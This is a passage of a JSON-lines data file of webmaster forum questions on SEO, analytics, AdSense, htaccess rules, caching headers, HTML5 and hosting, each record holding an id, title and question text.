or false positives. -Mike"}
{"id":"31061","title":"Google webmaster for Adult site","text":"I am developing an adult wallpaper website. My question is can I use Google Webmaster Tools? Please tell me the benefit or disadvantage."}
{"id":"35037","title":"How important is responsive web design?","text":"I've heard a variety of opinions regarding the pros and cons of using responsive web design recently and was wondering whether it was necessary for small businesses that target small geographical areas to implement responsive web design? Some sub-questions I have regarding this include: 1. Is it better to use responsive web design as opposed to having separate code utilized for different dimensions\/devices? 2. Can it potentially affect SEO (positively or negatively)? 3. What are the main problems I could run into when optimizing a website for a business using this design method?"}
{"id":"48997","title":"Setting up a LAMP VM server for Development and Testing?","text":"**Info:** I would like to set up a VM server on my local computer which will serve pages in the exact same way as my current hosting (but only to me on my local computer). I currently pay a big web hosting company to host my website & web store and they are doing a great job, but I would like to be able to work on my Web site and its corresponding MySQL DB, HTML, and PHP code without being at risk of messing something completely up on the live servers. My current plan of action: 1. Set up a VM webserver with Debian, MySQL, PHP, Apache. 2. Copy web store (PHP\/HTML) code to VM server. 3. Copy my current MySQL databases from my hosting provider and install on VM server. 4. Modify and test new features on VM server. 5. Upload MySQL DB and HTML\/PHP code back to web host's server where it should work as before but with new modifications. **Questions:** Now I'm pretty sure I have steps one and two down correctly but I can't for the life of me figure out how to proceed next, so here are my questions. I have my \/etc\/host file set up so www.MySite.test redirects to the IP address of the local VM webserver. Once I import my PHP\/HTML files and MySQL file whats the best way to navigate around the fact that all of my files and DBs will reference www.MySite.com. I can export my MySQL dbs but do I also have to export my MySQL users and passwords to access those db or are those coded into my html\/php code?"}
{"id":"19448","title":"Retrieving Monthly Hits From Google Analytics","text":"What I want to do is grab the last 5 months including the current months hits for that month. I have only just copied the tracking code and plugged it into my site but after that I'm not sure what to do."}
{"id":"19191","title":"Unable to track a subdomain with google analytics","text":"I have a download page on a subdomain (downloads.easyjob.net) and I'm tracking the \"virtual page view\" to the download following these instructions . That part works fine. However, I also want to track the index page at downloads.easyjob.net and that's where I got into trouble: it gives me the same number of pageviews ass the entire site on www.easyjob.net, which is clearly not possible. Anybody knows what's going on?"}
{"id":"63055","title":"How useful is Alexa's ranking?","text":"I know of Alexa and some people find the information useful for ranking a website... as for me, no matter how big or small my sites are, none of them are registered with stats on them, and a few clients are _disappointed_ with me over it. * How much influence does Alexa have on website's worth? * Why do people hold it's stats so highly over content of the actual site in question? * Should I actually worry about Alexa Ranking? All of the stats which I do worry about is what Google Analytics, Webmasters Tools, and Piwiki on my server tells me. Usually I can gauge how good or bad I am doing with those alone for what sections of the site is active and which is not receiving traffic for the purpose of my content."}
{"id":"64836","title":"My site isn't ranking of Alexa","text":"My site is online for more than 3 months now but I don't have Alexa rank. I don't understand why. Could anyone explain this to me?"}
{"id":"19193","title":"Softonic displaying Google Ads for my software in Google search","text":"I'm not sure if this is the right place to ask this question but not sure where else to ask.. I was doing a Google search to check the results of my Software's name which I sell on my website. I found, Google displayed an Ad from Softonic.com for that keyword. And worse, Softonic was linking to a page where they asked users to download their software-installer to download my software and NOT my software! We have neither asked Softonic nor Softonic had informed us regarding that Ad and their installer. Can someone please tell me if such Ads are allowed by Google Adwords? And does it violate Adwords TOS? Thanks in advance!"}
{"id":"32567","title":"Hide your website links from search engne","text":"My Website Link is posted in someone else website, i asked for removal but can't get reply, google crawl his website and my website link is posted on that how to control that is that is possible? i ask to him , he said he will remove when he will got time, they are using application version 1 (which not allowed to edit content app 2 allow to edit i ask him to upgrade they said don't have time)"}
{"id":"19194","title":"Can I safely include \"self-defined\" HTML Tags in a HTML Website?","text":"I have seen a website that has a doctype of <!DOCTYPE html> This website uses HTML Tags that I have never seen before like `<section>`. My Question: 1.) Is this kind of \"generic Doctype\" recommended for a normal website? (I've never seen this this before, what are the pro and cons?) 2.) When is it valid to use such \"self defined\" HTML Tags? Is this valid with this doctype Declaration?"}
{"id":"19197","title":"How to promote the quality\/security of your a website to your its customers?","text":"Our organization is building a Drupal web platform that we aim at reselling as a cloud service. In order to provide our customers with maximum confidence in our solution, we're looking at ways of publicly conveying trust regarding the quality and security of our platform. Here is what we came up with some far: - **Drupal** : are there any Drupal certifications available out there? - **PHP** : have your PHP developers certified (e.g. Zend PHP certification) and display the certification image (ideally, create links from the About\/Team\/Dev page to a page on the zend website where this could be verified). - **SSL** : buy certificates from sizable CAs (e.g. Verisign) instead of cheaper and not as known ones (e.g. prontossl.com) and display the CA seal on your website accordingly. - **System** : have your system penetration tested by a known security company, have a case study written about it. - **Infrastructure** : get your infrastructure ISO QMS 9001 certified. - **HTML\/CSS** : show that your company is doing everything it can to remain standard-compliant by making your code W3 compliant and showing the W3 valid icons on your website. - **Misc** : get your engineers to pass some security certifications, like one of these. **Are there anything else you can think of that could help promote the quality\/security of your platform?** PS: if you're planning on answering with a _\"what really matters is the actual quality\/security of your solution more than how good\/secure it appears to be\"_ type of answer please refrain. We all know it's true, but we also know that from a sales standpoint, it is very important to be able to rely on certifications to efficiently promote quality\/security."}
{"id":"19196","title":"HTML 5 - Backward Compatibility with new Tags and CSS?","text":"In case I will use any of the new HTML5 Tags like: <article> or <section> ... with a doctype of <!DOCTYPE html> 1.) Can I directly assign a style to this element like: <article style=\"margin:100px;\"> ? http:\/\/dev.w3.org\/html5\/spec\/Overview.html#the-article-element The W3C link does not explain this really well for HTML5 very dummy friendly. 2.) In case this is allowed, what is a browser expected to render, if the browser does not support the tag (=does not support html5) . Will it render it as div (and apply the CSS) or will the tag be completly omitted and therefore also the applied CSS formatting is lost? Thanks very much! Jens"}
{"id":"34749","title":"Where to get ads for my website?","text":"My website is getting around 100 visitors per day so I was thinking that I should put some ads on my website but it is really very hard to find the best advertising plan which can benefit me the most. Is Google adsense a good choice? Will google adsense allow me to open an account there with such little traffic on my website? Please help from last two months I have done a very hard work to bring such traffic. I know it is not very much but I am still working on it."}
{"id":"33602","title":"Mediawiki much slower in Firefox","text":"I've a couple of Mediawiki (1.19.1 with Vector Skin) sites on Dreamhost shared hosting and I've found that access trough Firefox is much slower than trough Chrome. For example at this moment, after cleaning the cache in both browsers: **Firefox** * 11.1 seconds for the first page (RecentChanges) * 7.7 seconds for the second page (Home) **Chrome** * 9.2 seconds for the first page (RecentChanges) * 3.2 seconds for the second page (Home) This numbers confirm previous tests, made in 2 different days a few weeks ago. Please note the huge difference for the second page. An older version of Mediawiki on a different server does not seem to have this problem. Firefox and Chrome have similar results. I need to know how to make access trough Firefox as fast as trough Chrome, without changing the hosting company\/plan, Mediawiki or asking users to change Firefox's defaults. _**_* HTTP RESPONSE HEADERS _*_** HTML FILE HEADERS Cache-Control private, must-revalidate, max-age=0, public Connection Keep-Alive Content-Encoding gzip Content-Language es Content-Type text\/html; charset=UTF-8 Date Thu, 23 Aug 2012 06:35:11 GMT Expires Thu, 01 Jan 1970 00:00:00 GMT Keep-Alive timeout=2, max=100 Server Apache Transfer-Encoding chunked Vary Accept-Encoding,Cookie X-Content-Type-Options nosniff X-Frame-Options DENY CSS FILE HEADERS Cache-Control public, max-age=300, s-maxage=300, public Connection Keep-Alive Content-Encoding gzip Content-Type text\/css; charset=utf-8 Date Thu, 23 Aug 2012 06:35:13 GMT Expires Thu, 23 Aug 2012 06:40:17 GMT Keep-Alive timeout=2, max=100 Last-Modified Tue, 21 Aug 2012 21:59:38 GMT Server Apache Transfer-Encoding chunked Vary Accept-Encoding X-Content-Type-Options nosniff JAVASCRIPT FILE HEADERS: Cache-Control public, max-age=300, s-maxage=300, public Connection Keep-Alive Content-Encoding gzip Content-Type text\/javascript; charset=utf-8 Date Thu, 23 Aug 2012 06:35:13 GMT Expires Thu, 23 Aug 2012 06:40:14 GMT Keep-Alive timeout=2, max=100 Last-Modified Wed, 22 Aug 2012 12:55:25 GMT Server Apache Transfer-Encoding chunked Vary Accept-Encoding X-Content-Type-Options nosniff IMAGE FILE (PNG) HEADERS: Accept-Ranges bytes Cache-Control max-age=2592000, public Connection Keep-Alive Content-Length 206 Content-Type image\/png Date Thu, 23 Aug 2012 06:35:13 GMT Etag \"ce-4c25eaaf8f780\" Expires Sat, 22 Sep 2012 06:35:13 GMT Keep-Alive timeout=2, max=99 Last-Modified Wed, 13 Jun 2012 18:22:38 GMT Server Apache"}
{"id":"59957","title":"Is it a problem (e.g. for Google) when my site has no root page?","text":"I have a multi-lingual site, which contains languages in this manner: http:\/\/www.example.com\/en\/ http:\/\/www.example.com\/de\/ http:\/\/www.example.com\/fr\/ To avoid duplicate links, is it ok **not to** have the root (`\/`) page? I.e., the root 301 redirects to `\/en\/`: $ curl -I http:\/\/www.example.com\/ HTTP\/1.1 301 Moved Permanently Location: \/en\/ Does Google mind, or should I mind? Does anyone?"}
{"id":"28330","title":"Is there any problem with using two slashes in the middle of a URL?","text":"> **Possible Duplicate:** > What does the double slash mean in URLs? I'm working on a mod_rewrite URL structure as follows: http:\/\/example.com\/search\/filter1\/filter2\/filter3\/filter4 There are some conditions where it is OK for the first attribute to be blank, but i want to keep the other attributes in the same position. (Otherwise I can't assume that the attribute in the second position represents what I want it to represent.) However this results in some URLs like this: http:\/\/example.com\/search\/\/filter2\/filter3\/filter4 This seems to work in all browsers I've tested (Chrome,Firefox,IE9,IE compatible) and I'm not seeing any errors on the server side, so I can't think of any problems in using it. But it just looks wrong and weird to me and I'm not used to seeing it. Are there any potential downsides to using a structure that encourages URLs like this, or any major reasons no one seems to use it? (Everything I search in Google assumes I'm talking about the two slashes after `http:`)"}
{"id":"39098","title":"What is this thing called?!?! (bottom of screen popup)","text":"I am looking for the name and some possible jquery libraries etc for the standard bottom of screen popup bar. Its like a little bar that pops out on the bottom of the screen after X seconds or however really - generally slides up, about 50px or so high, and usually the length of the main container. used for some form of coupon advertisement or various promotion text etc. What is the proper term for this item, and would there be any good references to best-use guidelines?"}
{"id":"68650","title":"Google Analytics Not Detecting Tracking Code","text":"I installed google analytics tracking code on my website. It is not being detected on the google analytics app. I did notice though that the default url in the google analytics app is set to `http:\/\/jobrangers.com` and my site redirects to `http:\/\/jobrangers.com\/en`. Can someone please assist me in getting the tracking software on Google to pick up the installed tracking code. Thanks"}
{"id":"48990","title":"Benefits of sharing one IP, or prefarably assigning a new IP?","text":"I think I am lost but not found yet, please as regards this very topic; my issue was that I bought a new VPS using WHM optimised and it's just one domain meaning one IP. All I want to know is the benefit with sharing one IP to many domains I created for the users (remembering the IP is for the root) or is it of a disadvantage? Probably help me too with knowing if it's prefarable to create\/assign a new IP to each new domain created for users?"}
{"id":"39144","title":"Does Wordpress have any SEO benifits on sites coded from scratch?","text":"> **Possible Duplicate:** > Do wordpress websites get indexed quicker by SE than a regular website? I have heard SEO experts suggest moving sites to Wordpress for SEO optimization. Googling offers some perspectives that confirm this (like this or somewhat more dubiously, this). Is this accurate? Some other places say that it doesn't matter, except that Wordpress configures all the meta correctly. In that case, what exactly must be configured?"}
{"id":"24442","title":"CSS style is gone on the homepage in IE8","text":"I wondered if it's because the homepage's size is big? I only see my stylesheet working on pages other than the homepage. Any ideas?"}
{"id":"24445","title":"Slugs: are human-friendly or SEO-friendly URLs better?","text":"Well, I have a co-worker (actually my superior) who often sets his articles' slugs to expected \/ relevant search terms such as: keywordA-keywordB-keywordC-keywordD-keywordE I usually make mine closer to the article's title, e.g.: robber-robs-XYZ-bank-10-million He claims placing only the expected search terms as the slug led to better SEO and that SEO is more important than a human-friendly URL. What do you think of the balance between human-friendly and SEO-friendly URLs and does littering your slugs with a few expected keywords actually lead to better SEO? Lastly, what is the recommended practice?"}
{"id":"55742","title":"Best way to display a long list of items, SEO-wise?","text":"I have a list of ~1000 items I'd like to display to the user. The items has a rank - from 0.5 to 5 stars. My goal is to come with a solution that will be easy to navigate, and smart SEO wise. First option is to divide one long page into 'stars' section - starting from \"items with 5 stars\" and descending. I could add internal section links for the different sections at the top of the list. I guess that's the best for the user, but then I'd be losing navigation stats I would otherwise gain, having the list divided into different pages. Especially, I hate to lose pages with the titles \/ urls \"Top x items\" or \"Bottom x items\".. The best solution might be having the internal links listed in google as seperate urls, but is this even possible? Otherwise I might have this one long list, and then duplicates of at least the top and bottom of the list in different pages. But then I have duplicate content which is, as I understand, not very wise SEO wise. **Concrete questions:** **1. Is it possible to have internal section links in one page listed in Google as seperate URLs?** **2. Will having duplicate pages which display a portion of what's already being displayed in a one long page be an advantage or disadvantage SEO-wise?** (Given that the possible titles\/urls for these duplicate pages has a good SEO potential)."}
{"id":"50113","title":"How to change Google results","text":"I've made a website for a client. I've used WordPress. The problem is, that when you type the page's name in Google, you get two results: 1. Comments for [pagename] 2. Sample page (the one that WordPress makes by itself) How do I make Google get the new sites and change those results? I'm new to SEO."}
{"id":"50110","title":"How can I check Page Authority & Domain Authority for multiple sites at the same time?","text":"I am looking for a web tool that can check more than one site at a time for both Page Authority & Domain Authority. Please let me know if there is such a tool."}
{"id":"33926","title":"Adsense: You have rejected ad requests, which will result in lost revenue","text":"Got an alert on my adsense account which says > You have rejected ad requests, which will result in lost revenue. The > following ad units have made ad requests with incorrect site information. > This occurs when the URL of the server from which the ad unit has been > served differs from the URL of the actual page where the ad will be > displayed. Learn how to fix these errors. So the solution is that I'll have to use \"google_page_url = \"http:\/\/myurl.com\/fullpath\";\" I'm using wordpress, what should be the URL for google_page_url? For example my website is www.technostall.com. Should I put www.technostall.com there or should I give the path of each post? That is not good because I'm using a sidebar widget for sidebar ad unit. I can't change google_page_url for each page. What should I do? This error is appearing only on my sidebar\/navigation ad units. Is using google_page_url = document.location; fine?"}
{"id":"55395","title":"Facebook referral traffic spike - who shared our post?","text":"My organization's blog got a MAJOR spike in traffic to one blog post yesterday. We can see in our Google Analytics that `facebook.com` and `m.facebook.com` were the by far the top referrers. I can't seem to be able to drill down deeper in Google Analtyics to see who shared the blog post URL on Facebook. We suspect a large media\/publishing agency must have posted it to their Facebook fans. We are just curious to see who may have done this for us. Given we know the blog post URL, is there any way to see if it has been shared recently on Facebook? **EDIT:** I've gotten this far with FQL: `SELECT user_id FROM like WHERE object_id=\"ID\"` which gives me ID's of people that have liked the blog post. It gives me only 100 ID's. How can I ask for ID's that are fan\/business pages and not regular ole' people?"}
{"id":"27932","title":"Public\/Private Key Generation","text":"I'm just learning about public key cryptography and I want to make a public key certificate for my web server so that I can use https. My server is hosted on some random free webhost that is practically impossible for anything...and so my question is this: Is there any harm in making my private key, public key, and public key certificate on my computer using openssl and then transferring it to the server? Thanks in advance. Also if there's anything else I'm missing, any help would be appreciated."}
{"id":"61554","title":"Why does AdSense require sufficient content?","text":"I get that to apply for an AdSense account, a website needs to already have \"sufficient content\". As you can guess my website, being brand-new, did not. I am not disputing that fact, so I do not think this is a duplicate with other questions that do. I do however wonder why this is a policy? I guess their reasoning MIGHT be because Google wants to uphold a sense of quality in the content they support. A practically blank website is not quality content (yet). But isn't this a Catch 22? Creating quality content takes time (and thus money). Without ad-revenue to back this up, it's not easy to justify the expense (to my wife mostly, but that is beside my point :) )? Compare with YouTube where you can apply for a partner account having uploaded 0 videos. Another reason might be that they won't know what ads to show on an \"empty website\", but seems to me they could just as well pick something \"random, but safe\" themselves... If anyone has an authoritative answer (based on information from Google or personal experience) I'd be happy to hear it."}
{"id":"61552","title":"Trendmicro clones authenticated requests - showing up in my error logs","text":"I'm having various errors, from unauthenticated requests for using some AJAX requests (which need authentication). While I have clients from Belgium, the IP addresses match a IP in the form of `150.70.*.*`, all are using Windows XP and IE 6 or IE 8. When I do a lookup, I receive this: http:\/\/ip-lookup.net\/index.php Which means that it originates from Japan and it's a static IP from trendsmicro.com, a security suite. Any idea if I can blacklist this? I'd like to keep my errors close to zero. But this is one I can't solve without blacklisting the IP range. What should I do and what does trendsmicro try to do when cloning the request?"}
{"id":"65615","title":"SEO benefit of H1 tags on the homepage","text":"I've been told by an SEO specialist that, although every other page on a website has `<h1>` tags highlighting the correct headings for that page, that there needs to be one on the homepage, too. I'm dubious about this as the homepage should only rank for people searching for the company name directly -- which it already does perfectly (not least because the company name is their domain name). Obviously I don't see the harm in putting an exception in for that one page, but I also don't see the point, especially when I have lots of other more important things to be getting on with. Are there any SEO benefits to adding a `<h1>` element to the homepage, given that Google is already finding the company name perfectly well?"}
{"id":"51344","title":"Good practice for watermarking\/trademarking a website","text":"When developing a website for a client, is it considered normal\/proper etiquette to include an inconspicuous link to the developer's own website at the bottom of the client's website? In case that wording is too weird, say I'm developing a website for a company. Would it be respectable if I included my own logo, unobtrusively, in the footer of their website?"}
{"id":"51433","title":"Could the rel=\"author\" just be a username?","text":"I want to use `rel=\"author\"`, however the type of blog I run is about a game, and doesn't relate to my real identity. I'm more known for my screen name, so would this still be okay to use for the `rel=\"author\"` tag? For example, if my Google+ account is for my user, and not for myself, could I still use it within the `rel=\"author\"` tag? I don't want to get penalized in any sort of way. My main reason to do this, is to improve click through rate, and just make my blog post sections look better in the searches."}
{"id":"22423","title":"How to enable media queries on IE < 9","text":"I am trying to add support for media queries in older versions of Internet Explorer, but I am not having any luck. I only need media queries, so I do not want to add a big package like Modernizr, I am looking for a small fix, if there is any. Anyone know a good method?"}
{"id":"51431","title":"Hybrid-Hosting, how can I host one subdomain of existing site on second server?","text":"I have a domain like `www.example.com`, with a subdomain like `sub.example.com`. They are hosted by ex: Bluehost. Which steps should I follow to just host `sub.example.com` on a second Server (AWS S3)?"}
{"id":"22137","title":"How to use rel=canonical with Sitecore aliases?","text":"I have inherited a Sitecore architecture that is a mess from an SEO duplicate content POV. There are multiple aliases that have been created (and indexed by the search engines) for many of the 2nd tier pages of the site. Due to server issues, I am not able to 301 redirect these duped pages, so I would like to use the rel=canonical tag in an attempt to try and get Google\/Bing to recognize the correct pages I would like to appear in the index. I have blocked the most extraneous duped pages with a robots.txt file, however, since Google\/Bing have already spidered many of the duped pages, I need to keep them accessible to the spiders, BUT removed from the index. The catch is, since the duped pages are aliases (and don't really physically exist in Sitecore that I can find), I am not sure how to go about using rel=canonical - or if I even can in this situation..?"}
{"id":"22424","title":"Is there any way to determine who placed an AdWords ad?","text":"I was in the process of discussing with a client using adwords for their next step of promotion and no-one at the company was aware of the system, and certainly hadn't created any adwords campaigns, however in the midst of the discussion and trying a few relevant search queries out, one of the ads in the ad block on the right hand pane was for their website. Is there any way of determining if the ad was somehow generated of is it definitely the case that someone had to consciously take the ad out and if so who might have placed it? They have no referral system so someone outside of the company would get no benefit from running the ad"}
{"id":"13772","title":"What are recommended password reset mecanisms?","text":"All, I'm developing a small, non-commercial web app. I'm trying to decide how to help a user who might have lost their password. I need a mechanism that is, in order of priority: 1) User friendly; 2) Secure; 3) Easily scalable across multiple geographies (i.e., location agnostic - so no SMS for example)."}
{"id":"13777","title":"Where can i get photo collection for website\/template","text":"I'm developing website templates and wonder how to get (free or buy) photos of product sample for my templates. For example, collection if furniture, shirts, lingerie? Maybe you have preferences with affordable price. Please note that these images is going to be use in web templates for sale."}
{"id":"4065","title":"Website subscription service","text":"I have a friend who has asked me to build a site for her that allows people to sign up for a monthly subscription service for a few dollars a month. The service will send them text messages throughout the month. Does anyone have any suggestions on open source software for signing up for a service like this? I have already researched how to send the messages and need advice on setting up the subscription service. I've worked with asp.net c# and php."}
{"id":"27819","title":"remove \"items 1-9 of X\" from google result","text":"the results of my Magento based website's categories includes \" **items 1 - 9 of X** \" before the actual description of the category. How can I get rid of this? In this snapshot, what I want to delete is the red rectangle  **edits** : @Su, these are the reason: 1. Having text like (Items 1 - 9 of 144 –) appear in a Google listing uses up the 25 word limit that Google allows us. 2. More importantly, the first few words of the description can persuade or dissuade someone from visiting my site. This text will not positively influence people to visit my site. @DisgruntledGoat this information shows up in the source code of that page, like this: <table class=\"toolbar\" border=\"0\"> <tr> <td class=\"pager\" style=\"width: 414px;\"> <table class=\"pager\" cellspacing=\"0\"> <tr> <td>Items 1 to 9 of 144 total<\/td> <\/tr> <\/table> <\/td> <\/tr> <\/table>"}
{"id":"4069","title":"How do I differentiate 404 messaging with no dynamic language ability on the web server?","text":"Depending on the type of page visited (for example, “static” content vs. product page), we have a requirement to show different error messaging when the page requested is not found. Given that we are on a two tier architecture and have no dynamic language ability on the web servers, we are using HTTP status codes in the 400 range to display this messaging using the ErrorDocument setting in Apache configuration. These status codes, of course, show up in Google Webmaster tools as HTTP errors rather than not found errors and there is concern that these 400 range errors will not cause search engines to remove these pages from their indexes. Is there anyone else who has had this type of requirement with the limitation of no dynamic languages on the web server - and if so - have you solved this problem differently? Thanks"}
{"id":"26334","title":"How to block domain access?","text":"I'm studying AWStats in my server and I see no interesting domain access. How can I block it with htaccess or another solution"}
{"id":"5788","title":"How to make my own web comic site like xkcd?","text":"If you all are nerds like me then you are aware of xkcd. If I wanted to go about creating my own web comic with a website layout similar to this one, then what would you recommend? Drupal (if so, also refer me to any non-default modules that I would need), WordPress, straight up html?"}
{"id":"3603","title":"Chat like chat.meta.stackoverflow.com in my website","text":"How can I create a chat room like http:\/\/chat.meta.stackoverflow.com\/ in my PHP website? I am looking for a free solution. Please help..."}
{"id":"61016","title":"All shorten url redirecting to linkbucks","text":"I have seen most of shorten url like `http:\/\/owl.li\/w6tUx` redirecting to linkbucks site. I see even google is using this service in their posts in facebook or google plus something like `http:\/\/goo.gl\/Z7bY5C`. I am not sure why google like company is using services like linkbucks. Is this some kind of virus of something have affected my computer. Can someone please explain or please advise me what is the correct place to ask question like this?"}
{"id":"52795","title":"Should limitstart=0 should be 301 redirected or have canonical tag to it","text":"i have multiple categories with pagination. wherein limitstart=0 are there and is similar like category home page Wondering, should a 301 redirect through htaccess is advisable **or** shall i apply canonical tag to it Second, below is the htaccess code for it. Need comments, is the regex ok RewriteCond %{QUERY_STRING} ^(.+)&limitstart=0$ [NC] RewriteRule (.*) \/$1?%1&%2 [R=301,L] Thanks"}
{"id":"3606","title":"Counter on website (visitors)","text":"I got a feeling a client is going to ask me to implement a counter to show how many visitors visited the site. To me it looks very unprofessional but the next question the client is going to ask will be 'why?'. So what's a good reason to not implement this besides \"it's unprofessional\"."}
{"id":"3604","title":"Host multimedia content","text":"On the occasion of a new website, I'm looking for a reliable and inexpensive company to host a big volume of movies and pictures. I need around 1To to start knowing that it will grow each day. Do you have any company to advise ? Thank you."}
{"id":"62917","title":"Indexed webpages stopped rising, while Submited keep rising normally","text":"Last months I have noticed a strange behaviour in Google's Webmaster Tools. Although I provide a valid Sitemap for my website, which is normally processed and without any issues from Google, while the number of Submitted Webpages keep rising (30.923 pages), the Indexed Pages don't rise anymore (26.819 pages since the end of January). Checking the Crawler Stats, everything seems normal and there are no Crawl Errors. There was no significant changes to the webpage these last months. Anyone noticed a similar issue and any possible suggestion?"}
{"id":"33404","title":"How to tell Google to stop crawling my website via IP?","text":"After a database server migration, I've noticed that GoogleBot started getting errors when trying to crawl my site. The reason seems to be that it is hitting my site via IP address (and due to my config setup, my PHP scripts try to hit the old database server, which has been shut down). When the site is accessed by correct hostname, it uses the new DB server. I can fix this by pointing the 'IP address' config to use the new DB server, but ideally I want to tell GoogleBot (and also Bing) to stop accessing via IP, and use hostname instead. Google Webmaster Tools also shows a lot of entries for 'sites linking in' to my website, which are actually listed as the IP address of my site, as if it were a different site. I do not want to lose SEO value by making the wrong move. Should I change my website to stop responding on IP address? Or set up HTTP redirects from `IP address\/url` -> `hostname\/url`? I already have \"rel canonical\" URLs which include the FQDN on a lot of my pages, but Google does not seem to respect them, or at least it continues to hit the IP address for those pages."}
{"id":"60391","title":"Google Pagespeed not recognizing minify, cache leveraging, etc","text":"Recently, my sites score completely dropped in site optimization\/speed in the Google Adsense rating system. When using **Google PageSpeed Insights** it tells me quite a few things. One being to leverage browser caching. I went into my .htaccess file and added this bit of code. ## EXPIRES CACHING ## <IfModule mod_expires.c> ExpiresActive On ExpiresByType image\/jpg \"access 1 year\" ExpiresByType image\/jpeg \"access 1 year\" ExpiresByType image\/gif \"access 1 year\" ExpiresByType image\/png \"access 1 year\" ExpiresByType text\/css \"access 1 month\" ExpiresByType application\/pdf \"access 1 month\" ExpiresByType text\/x-javascript \"access 1 month\" ExpiresByType application\/x-shockwave-flash \"access 1 month\" ExpiresByType image\/x-icon \"access 1 year\" ExpiresDefault \"access 2 days\" <\/IfModule> ## EXPIRES CACHING ## After adding this code to my .htaccess file I retested my website and saw that it is now asking me to leverage a bunch of jquery plugins. Which I might add were not there prior to adding the code to the .htaccess. Google is also asking me to minify my CSS, HTML, and JS. Well, I downloaded a Wordpress plugin called **Better Wordpress Minify** , which is set to automatically minify HTML, CSS, and JS. After installing the plugin and retesting through Google Pagespeed I noticed that it is still asking me to minify a couple of things. Its asking me to minify the _customscript.js_ in my theme, and wants me to minify the HTML of my homepage. Google also asked me to compress my website so I downloaded **WP HTTP Compression** which seemed to compress almost everything except for two files: _modernizr.min.js, and customscript.js_. I know this is a lot of information to take in, and I am probably asking for a lot, but any help would be greatly appreciated."}
{"id":"39484","title":"htaccess URL rewriting","text":"I want to redirect a request look like mydomain.com\/abc\/def to mydomain.com\/abc\/index.php?q=def where `abc` is a fixed directory name and `def` can be any string. How can I do this using `.htaccess`?"}
{"id":"7574","title":"When is meta description still relevant?","text":"I received this bit of advice about the meta description tag recently: > Meta descriptions are used by Google probably 80% of the time for the > snippet. They don’t help with rankings but you should probably use them. You > could just auto generate them from the first part of the question. The description tag exists in the header, like so: `<meta name=\"Description\" content=\"A brief summary of the content on the page.\">` I'm not sure why we would _need_ this field, as Google seems perfectly capable of showing the relevant search terms in context in the search result pages, like so (I searched for **c# list performance** ):  In other words, **where would a meta description summary improve these results?** We want the page to show context around the actual search hits, not a random summary we inserted! Google Webmaster Central has this advice: > For some sites, like news media sources, generating an accurate and unique > description for each page is easy: since each article is hand-written, it > takes minimal effort to also add a one-sentence description. For larger > database-driven sites, like product aggregators, hand-written descriptions > are more difficult. In the latter case, though, programmatic generation of > the descriptions can be appropriate and is encouraged -- just make sure that > your descriptions are not \"spammy.\" Good descriptions are human-readable and > diverse, as we talked about in the first point above. The page-specific data > we mentioned in the second point is a good candidate for programmatic > generation. I'm struggling to think of any scenario when I would want the Google-generated summary, that is, actual context from the page for the search terms, to be _replaced_ by a hard-coded meta description summary of the question itself."}
{"id":"21","title":"How can I see what my web site looks like in various browsers?","text":"How can I see what my web site looks like in various browsers? Short of actually having every different browser version installed, is there any tool or service that can provide a preview?"}
{"id":"12393","title":"A tool for test webpages in older Browsers?","text":"> **Possible Duplicate:** > How can I see what my web site looks like in various browsers? Hi, at the moment I develop a ASP.Net Page Community board. I have installed FF4, IE9 and Opera 10. A friend told me, my page looks bad in IE7 and maybe IE8. Is there a tool how I can look the page for IE7\/8, FF2\/3 and maybe Opera 9? You know, older versions of browsers without uninstalling my browsers."}
{"id":"19995","title":"I want the links in my HTML sitemap to be crawled but I do not want the sitemap in the SERPs","text":"I have a website that has some pages and then it has a folder that has the majority of the pages. All the pages that exist in this folder could only be accessed by using my website search engine, then I created HTML and XML sitemaps so the search engines could find the pages that are inside this folder. This worked well as search engines got very happy and indexed pretty much the entire website. BUT the html sitemap is appearing in SERPs and besides wanting search engines to crawl it and follow the links I do not want it to be in the SERPs. What can I do so the links on my sitemap page are followed but it stops appearing in SERP's? I saw some link rel no index meta tags and robots no index meta tags that seemed to be \"designed\" for this but some websites say they do one thing and other websites say they do other things. I don't want to screw this up and have my pages not being indexed again because it will be a pretty bad setback. Besides this, when I made the sitemaps I made the XML and HTML and uploaded them to the server on the same day, it worked like a charm but if the xml sitemap is enough and i can remove the html sitemap with no negative impact to my number of indexed pages it would be a valid solution for me too because then i wouldn't have to bother with it appearing on SERP's so if anyone made this experience and has something to share it would be useful too."}
{"id":"19221","title":"Am I able to delete a domain name","text":"I manage a number of domain names with Network Solutions. I've transferred out all the domains that are or will be used. However, there are some left which were bought speculatively and will never be used. Is it possible to have them deleted, that is, have the registrations deleted? Thanks for any help"}
{"id":"19220","title":"How to make user-uploaded photos all a uniform size","text":"I have a site where users upload photos taken from their digital cameras. I want the photos to appear as big as possible, almost take up the entire screen. I also want all the thumbnails, of various users, and blown up photos, to have a uniform size so the design works on my site and everything lays out properly. Is this possible, or am I going to be stuck with different sized pictures because some people turned the camera on it's side to take a picture and got a picture way taller than wider. Do the pictures need to be a certain file format, certain size, etc?"}
{"id":"55379","title":"Does the number of visits matters for SEO?","text":"Considering I have a website and I have millions of direct views (entering directly by URL, not by any other URL) and that there is no links to this site anywhere else (or that this views don't generate any external link to the site), will these visits increase my positioning in search engines such as Google? Are search engines capable of measuring direct visits rather than links from other pages?"}
{"id":"19229","title":"Tracking AdWord ads with different text in Google Analytics","text":"I'm trying to see how the text in my Google AdWords ads affects my metrics in Analytics. I have auto-linking enabled, so I figured I would be able to automatically see this in Analytics. Unfortunately, if I try to add a second dimension of Traffic Sources->Ad Content, the metrics are only split by the ad's Headline. Most of my tests are changing only the ads' descriptions... So I guess I need to add a tracking parameter like `?campaign=special_text` to my URLs? Or is there a way to see the ads split by ad descriptions? Should I add the full suite of utm_campaign\/utm_medium\/etc parameters? What's the proper way to track these ads which are mostly similar except the ad descriptions?"}
